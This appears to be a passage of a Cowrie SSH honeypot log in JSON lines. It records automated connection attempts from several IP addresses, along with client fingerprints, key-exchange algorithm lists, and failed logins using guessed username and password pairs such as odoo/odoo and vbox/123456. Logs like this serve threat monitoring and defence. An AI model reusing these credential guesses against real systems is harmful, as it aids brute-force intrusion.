01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:23.744524Z","src_ip":"103.75.199.4","session":"25c52eebade1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:24.018483Z","src_ip":"103.75.199.4","session":"25c52eebade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:25.112654Z","src_ip":"103.75.199.4","session":"25c52eebade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38312,"dst_ip":"159.203.135.109","dst_port":22,"session":"445c0f348708","protocol":"ssh","message":"New connection: 45.153.34.114:38312 (159.203.135.109:22) [session: 445c0f348708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:29.443943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:29.448847Z","src_ip":"45.153.34.114","session":"445c0f348708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:29.535882Z","src_ip":"45.153.34.114","session":"445c0f348708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:29.792300Z","src_ip":"45.153.34.114","session":"445c0f348708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:30.877629Z","src_ip":"45.153.34.114","session":"445c0f348708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38328,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13c8016afe0","protocol":"ssh","message":"New connection: 45.153.34.114:38328 (159.203.135.109:22) [session: a13c8016afe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:37.288418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:37.293357Z","src_ip":"45.153.34.114","session":"a13c8016afe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:37.378001Z","src_ip":"45.153.34.114","session":"a13c8016afe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:37.741451Z","src_ip":"45.153.34.114","session":"a13c8016afe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:38.834141Z","src_ip":"45.153.34.114","session":"a13c8016afe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47826,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a8aace1e5d3","protocol":"ssh","message":"New connection: 45.153.34.114:47826 (159.203.135.109:22) [session: 9a8aace1e5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.573156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.578316Z","src_ip":"45.153.34.114","session":"9a8aace1e5d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60736,"dst_ip":"159.203.135.109","dst_port":22,"session":"2507b0cb88be","protocol":"ssh","message":"New connection: 103.75.199.4:60736 (159.203.135.109:22) [session: 2507b0cb88be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.583443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.587417Z","src_ip":"103.75.199.4","session":"2507b0cb88be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.665113Z","src_ip":"45.153.34.114","session":"9a8aace1e5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.679090Z","src_ip":"103.75.199.4","session":"2507b0cb88be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.940636Z","src_ip":"45.153.34.114","session":"9a8aace1e5d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:45.951557Z","src_ip":"103.75.199.4","session":"2507b0cb88be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:47.031243Z","src_ip":"45.153.34.114","session":"9a8aace1e5d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:47.048103Z","src_ip":"103.75.199.4","session":"2507b0cb88be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49038,"dst_ip":"10.17.0.5","dst_port":22,"session":"54f1e9beb9d7","protocol":"ssh","message":"New connection: 2.57.121.25:49038 (10.17.0.5:22) [session: 54f1e9beb9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:47.521448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:47.525945Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:47.629500Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"freeme","message":"login attempt [user/freeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:48.118651Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fred123","message":"login attempt [user/fred123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:49.226197Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"frasier","message":"login attempt [user/frasier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:50.333558Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"foreman","message":"login attempt [user/foreman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:51.440568Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"footlove","message":"login attempt [user/footlove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:52.547937Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56754,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c02ddeb7a7f","protocol":"ssh","message":"New connection: 45.153.34.114:56754 (159.203.135.109:22) [session: 7c02ddeb7a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:53.412207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:53.417100Z","src_ip":"45.153.34.114","session":"7c02ddeb7a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:53.499958Z","src_ip":"45.153.34.114","session":"7c02ddeb7a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:53.657636Z","src_ip":"2.57.121.25","session":"54f1e9beb9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:53.970180Z","src_ip":"45.153.34.114","session":"7c02ddeb7a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:19:55.057590Z","src_ip":"45.153.34.114","session":"7c02ddeb7a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":33706,"dst_ip":"10.17.0.5","dst_port":22,"session":"d63c7415d803","protocol":"ssh","message":"New connection: 80.94.92.182:33706 (10.17.0.5:22) [session: d63c7415d803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:00.670194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:00.910053Z","src_ip":"80.94.92.182","session":"d63c7415d803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:00.914263Z","src_ip":"80.94.92.182","session":"d63c7415d803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"321","message":"login attempt [sol/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:01.507073Z","src_ip":"80.94.92.182","session":"d63c7415d803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44482,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8a09797fd0d","protocol":"ssh","message":"New connection: 45.153.34.114:44482 (159.203.135.109:22) [session: c8a09797fd0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:01.723890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:20:01.736047Z","src_ip":"45.153.34.114","session":"c8a09797fd0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 